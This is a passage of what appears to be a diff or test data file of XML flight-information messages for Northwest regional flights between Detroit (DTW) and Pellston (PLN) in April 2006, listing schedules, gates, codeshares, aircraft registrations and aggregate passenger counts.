</dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T05:54:07Z</msg_dtm><msg_seq_id>114620364700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-29T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-29T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-29T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T09:05:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T09:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T10:32:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T10:37:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C30</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>14</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T06:28:31Z</msg_dtm><msg_seq_id>114620571100000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C26</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T07:54:11Z</msg_dtm><msg_seq_id>114621085100000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-29T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-29T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-29T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T11:12:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T11:17:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T12:29:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T12:34:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C12</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:30Z</msg_dtm><msg_seq_id>114621189000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T16:00:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:39:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:43:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>41</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:32Z</msg_dtm><msg_seq_id>114621189200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-27T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-27T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T22:14:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T22:26:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T23:30:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T23:35:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>31</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:34Z</msg_dtm><msg_seq_id>114621189400000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>32</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:36Z</msg_dtm><msg_seq_id>114621189600000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>7420</ac_num><ac_reg_num>N420XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:37Z</msg_dtm><msg_seq_id>114621189700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C30</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>11</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
